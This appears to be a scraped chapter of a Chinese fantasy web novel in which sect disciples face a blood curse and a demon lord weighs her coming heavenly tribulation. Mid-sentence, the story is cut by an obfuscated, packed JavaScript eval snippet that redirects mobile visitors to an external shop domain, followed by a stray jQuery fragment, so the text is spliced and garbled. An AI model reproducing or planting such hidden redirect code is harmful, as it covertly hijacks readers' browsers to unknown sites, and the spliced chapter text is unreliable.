文趣网 > 都市小说 > 知途 > 95. 鹑鹊咒
    木门吱呀一声被人猛地从外面推开后又重重合上,青绿色的裙摆一阵风似的穿过了庭院。

    “到处都找不到,”易凝荷忧心如焚,“纳明那没谱的家伙不会被那些黑衣人抓走了吧?”

    见她急得两条眉毛都拧在了一起,沈终南急忙安抚道:“别担心,二师叔不是那般莽撞之人,许是被琐事缠身……”

    “琐事?别是又腆着老脸在哪个姑娘身边当狗皮膏药罢,”易凝荷嘴上不饶人,但那副急赤白脸的模样俨然出卖了她,转而望向一旁的殷止,“大师兄,师父他老人家回信了吗?”

    殷止闻言将手中的信笺放下,那是褚颜方才传来的,昨夜他在菩提寺救下的那名女子经过钟育尘的医治后已经恢复了神志,并且将事情的原委一五一十地告知了他们。

    和他推测的并无二致。

    桑家恐怕近日便会有所行动,而唐牧,也绝不会作壁上观。

    殷止正欲将信笺给沈终南他们二人看,突然,外面传来了一阵脚步声。

    几人同时敛声,易凝荷更是不由自主地握住了骨鞭。

    片刻后,只见一个面生的小厮一路小跑到了门口,恭恭敬敬递上一封信:“殷公子,有您的信。”

    殷止并未接,冷冷地问他:“谁允许你们随意出入别院的?”

    唐牧先前吩咐过府上的小厮,不得打扰他们,二是这院子院墙上都贴有符咒,按理说寻常人根本进不来。

    殷止一招手,那封信便飞了过来,就在信封离手的一刹那,那小厮仿佛从梦中惊醒一般,猛地一哆嗦,他一抬头,正对上殷止森然的目光,惊恐道:“公子,小人不是故意闯入的,是……是那封信上有古怪!”

    殷止垂眼,只见信封上右下角印着一只墨色的鸿雁,那是易鸿信的个人印章。

    信上都下了禁制,只有他们师门内部的人能打开,其余心怀叵测想要私自拆开这封信的人则会被禁制反噬,做出一些不合常理的举动来——例如,这小厮。

    易凝荷面色一变,抬手将骨鞭抽了出来,她试探为主,骨鞭只是挥向一旁的空地,并未冲对方而去,那形迹可疑的小厮却当了真,只见他一个利落的闪避,反手甩出一个霹雳散,接着打破窗户纵身一跃,整个动作堪称行云流水。

    才跑出没多远,一道人影蓦地落在他面前,闪着寒光的匕刃抵在他脖子上。

    小厮脚步一顿,周身汗毛都竖了起来。

    “谁让你走了?”殷止的声音隔着白烟响起,“留下来吧。”

    那小厮脚下一软,竟直接吓得跪在了地上,哆嗦道:“大人……大人饶命……”

    求饶的话还未说完,他突然身体一僵,仰天瞪大了眼,额头青筋暴起,仿佛被人掐住了喉咙一般,嗓子里发出嘶哑的“嗬嗬”声,接着,他裸露在外的皮肤开始变红,蚯蚓状的东西不断在他皮下鼓动挣扎,似乎要破皮而出。

    沈终南惊呼:“师父当心!”

    话音刚落,只听“砰”的一声,那小厮就像个熟透到了极致的西瓜,霍地炸开,烂瓤似得血□□天匝地地落下,一时间院子内弥漫起腥臭。

    殷止目光一凝,那些血肉尚未砸到他身上,便被幽蓝色的火焰裹住,燃烧殆尽。而那些落在地上的,则极富人性似的往后退去,流水一般又重新汇聚在一起,在爬过地面时甚至发出了黏稠恶心的滚动声。

    见这东西掉转头来朝着他们二人袭来,易凝荷冷笑一声:“不自量力。”

    骨鞭暴涨到丈长,旋转如风,将那些秽物给卷成了残影。

    待烟雾散去,地上只留下零零碎碎的黑色粉末和沾血的破布片,再无其他。

    “这是……”沈终南盯着满地狼藉,迟疑道,“噬血咒?”

    他近来潜心钻研古籍,长了不少见识。

    殷止捻起粉末,闻了闻,这味道,和菩提寺虚云禅师房中如出一辙。

    “此种咒术残忍无道,为人不齿,”易凝荷嫌恶地看着那些粉末,“除净妖世家外,就只有极少数人知晓并掌握。”

    殷止面色有些凝重,难不成是有人已经盯上了纳明,顺着他摸到了唐府?

    沈终南轻声问:“师父,要不咱们换个地方,不在唐府借住了?”

    易凝荷收好骨鞭,不轻不重地锤了他一下:“你傻呀,不住在唐府,我们怎么接近唐牧?一会儿还得去跟唐画意……”

    说到这里,她噤了声,怕隔墙有耳似的,飞快地扫了周围一圈。

    殷止与她对了个眼神,对方立马点头,脸上横批“保证完成任务”几个大字。

    他这才展开易鸿信传来的信,上面写着“旦日冬至,祭天祈福,恐有变故。”

    冬至祈福乃是传统,往年城里城外的老百姓都会前往菩提寺,但今年由于女子被害一案,百姓们对菩提寺有所避讳,加之前两日寺庙又遭火患,人们更是拘忌,怕触了霉头。可菩提寺在这种流言加身之际,非但不避嫌,反而主动承接了祈福仪式,还说什么要修葺寺庙,给佛像重塑金身。

    那日着火的只是寺庙僧徒的住所,其他地方倒是完好无损。

    而菩提寺那位云游在外的方丈——正德法师,恰好在今夜归来,要亲自操持明日的祈福仪式。

    说起正德法师,洛阳城内无人不知无人不晓。五十年前天降大旱,连续一年滴水未下,庄稼全无收成,是正德法师大开庙门,接济各地灾民。不仅如此,他还为一户被诬告的人家申状,免去一庄冤假错案,事后分文不取。

    如此高僧亲自主掌祈福,百姓们自然争先恐后,想一赌其风采。

    在这种节骨眼儿上突然举行什么祈福仪式,其背后意图已昭然若揭,但桑氏显然有那个底气——明知是圈套,那些方士还是会就道,不管是为了三生冰心花以身犯险,还是为了查明背后所谓真相。

    是心甘情愿欲望趋势的贪念也好,身不由己拨云见日的锐志也罢,被这趟浑水卷入已是既定。

    易凝荷凑在一旁看完了信件,心里未免不安:“大师兄,你先去吧,这边放心交给我跟终南。”

    “没错,眼下找到二师叔才是头等大事,”沈终南忙附和道,“白日里我们已经跟唐小姐接过头,那些被害女子的家属,也都等候在平安客栈中了。”

    平安客栈?

    殷止似是想到了什么:“可是五色山庄旁边的平安客栈?”

    沈终南道:“正是,那些被害人家属也是山庄主人钟先生帮着联络的,他可是洛阳城里有名的医师。”

    他口中的“钟先生”正是钟育尘,此人在城内开了一家医馆,和济世堂属竞争关系。

    殷止闻言一时语塞,暗中猜测此事和褚颜略有关系。

    正如他所料,此时的平安客栈二楼,钟育尘倚在阑干上,望向对面某个房间,道:“如此,就等着唐家小姐来了,这叫什么来着,大义…灭亲?”

    他语气中颇有几分看热闹不嫌事大的揶揄之意。

    “诸缘断阻,福德篡夺,祸谴丹心,邪魔控摄,此乃诪,”清婉的女声从身后响起,“唐牧身上的,已经到了末期,他心魔乱生,靠少女元红才能勉强压制。”

    钟育尘回首:“主上。”

    房门半敞着,烛火摇曳,映在如火的衣裙上,更显明艳。

    褚颜正在逗弄廊下的一对牡丹鹦鹉,掌心的浆果一粒一粒地喂给雌鸟,轮到雄鸟跟前却伸到跟前又撤了手。

    “鹑鹊咒可不是那么好解的,”钟育尘正色道,“唐家大小姐区区一个凡人,竟也能用念力施以诅咒,还是在患了离魂症的情况下,真是闻所未闻,罕见得很。”

    褚颜抿唇侧目:“你可知她母亲周书情早年经历?”

    钟育尘挑起了眉毛:“主上是说……”

    周书情尚未出阁时,与府上一个下人走得极近,那人是从苗疆逃过来的难民,被人牙子卖给了周府。他原本在后厨负责劈柴,后来由于一些原因被周书情调到了她院子中做杂役。只是没出半年,那下人便生病离世了。

    坊间传闻周书情与此人关系不一般,但周家毕竟是当地的名门望族,事关大家闺秀清白名誉,外人也就当个暧昧不明的闲言闲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785247|204297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    语听听罢了。

    “如此说来,那鹑鹊咒或许是周书情封印在她女儿身上的。”钟育尘摸着下巴,思忖道,“唐牧每月十五都回去菩提寺进香,他的心魔已化实体,靠寺中佛像才能勉强压制。”

    菩提寺中供奉的佛像既受香火,也食心魔,也不知成了个什么东西。

    褚颜捻起一粒浆果,她玩儿过几回便足兴了,正打算好好饲喂雄鸟,那鸟却转过了头,从伴侣喙中啄走了特意留下的浆果,随即又互相梳理起翎羽来,一副如胶似漆的粘糊样。

    她一时愣住,好笑又好气地看着那对鹦鹉。

    钟育尘察觉到这动静,心思玲珑的他瞬间了然,凑近褚颜跟前,笑得意味深长:“主上,怎么没有与那位公子同行了?”

    昨夜他瞧两人在泉水中依偎姿态,那干柴烈火眼神拉丝的,差点当场烧起来,他都做好听墙角的准备了,结果没过一会儿,那年轻公子却又自个儿走了。

    如今瞧主上这神情,哪有半点传闻中风花雪月任情恣性的风流,分明是情场失意的幽怨落寞。

    风卷珠帘,发出清越声响,褚颜入画般纹丝未动。

    钟育尘见状,笑道:“若是让万妖谷的众妖知晓主上为一个人类男子心烦意闷,可要翻了天。能被主上看上,那男子理应感恩戴德才是,怎么,他还敢拒绝不成?”

    褚颜顿了一下,良久,才缓缓道:“只是阴差阳错的一段缘分罢了。”

    轻飘飘的一句话,却让钟育尘一怔,暗道,完了,主上莫不是动真情了?

    他瞧了瞧对方神色,灰沉沉的,不似有假,惊异之余又不免感到一丝无奈,还真是当局者迷旁观者清。

    “杀伐者诛心,风月者谋心。风月情局非黑白棋局,厮杀个你死我活才好,缘是天意,分在人为,所谓何求,只不过在主上一念之间。”

    那两只牡丹鹦鹉还在嬉闹,褚颜的目光却已不在它们身上了,而是似乎陷入了某种回忆之中。

    钟育尘自觉这番话定能解开褚颜的心结,颇为满意地点点头:“主上若是无事,便早些歇息吧。”

    今晚注定是个不眠之夜,屋外灯火通明,隐约能听到人声。

    风吹得愈发疾了,珠帘被撞得叮当作响,褚颜刚将半开的窗户阖上,便感应到了一丝熟悉的气息。

    九暝的声音从微微扭曲的空间中传来,难掩担忧之意:“主上,您的天劫快到了,应该就在近两日。”

    褚颜一愣,近来四处奔忙,她倒是把这事儿给忘在脑后了。

    历劫之人纵然有擎天架海、翻云覆雨之能,在这道坎上也只能九死一生——蝼蚁逆天而行,本就是大不敬,遑论妄想与天地同寿、日月同明。

    偏偏在这种紧要关头……

    褚颜面色微沉,一时之间竟不知该如何是好。

    “主上还是闭关吧,性命攸关之事,不得小视。”九暝劝道。

    褚颜脱口道:“不可,三生冰心花……”

    “主上!”向来沉稳的九暝却打断了她,“先主若是知晓您罔顾自身性命安危,她会作何感想?”

    褚颜一言不发,半晌,才道:“我自有打算。”

    九暝知晓褚颜的性子,认定了的事,哪怕撞得头破血流也不会回头,他在心底长叹一口气,不再相劝了。

    突然一道闪电划破天空,接着就是一声闷雷,似是从天边低沉地滚过,震荡着人的耳膜。

    褚颜心里一悸,半是不安半是危惧,这股情绪来得莫名其妙,她已经很久很久没这般心怯过。

    缩在床角酣睡的舞七也被雷声惊醒,它抖了抖耳朵,歪着脑袋看了看窗边的褚颜,似乎是感受到了对方的心神不定,便一甩尾巴,跳到了她怀里。

    感受到怀中毛茸茸的温暖触感,褚颜安抚地拍了拍它的背。

    她垂眸看向舞七,与它金色的双眼对视。

    她幼年被电闪雷鸣吓得发抖时,褚千袭也是这般将她抱在怀中安抚的。

    舞七讨好地舔着她的手背,喉咙里发出撒娇似的鼻音,全然不知褚颜心中所想。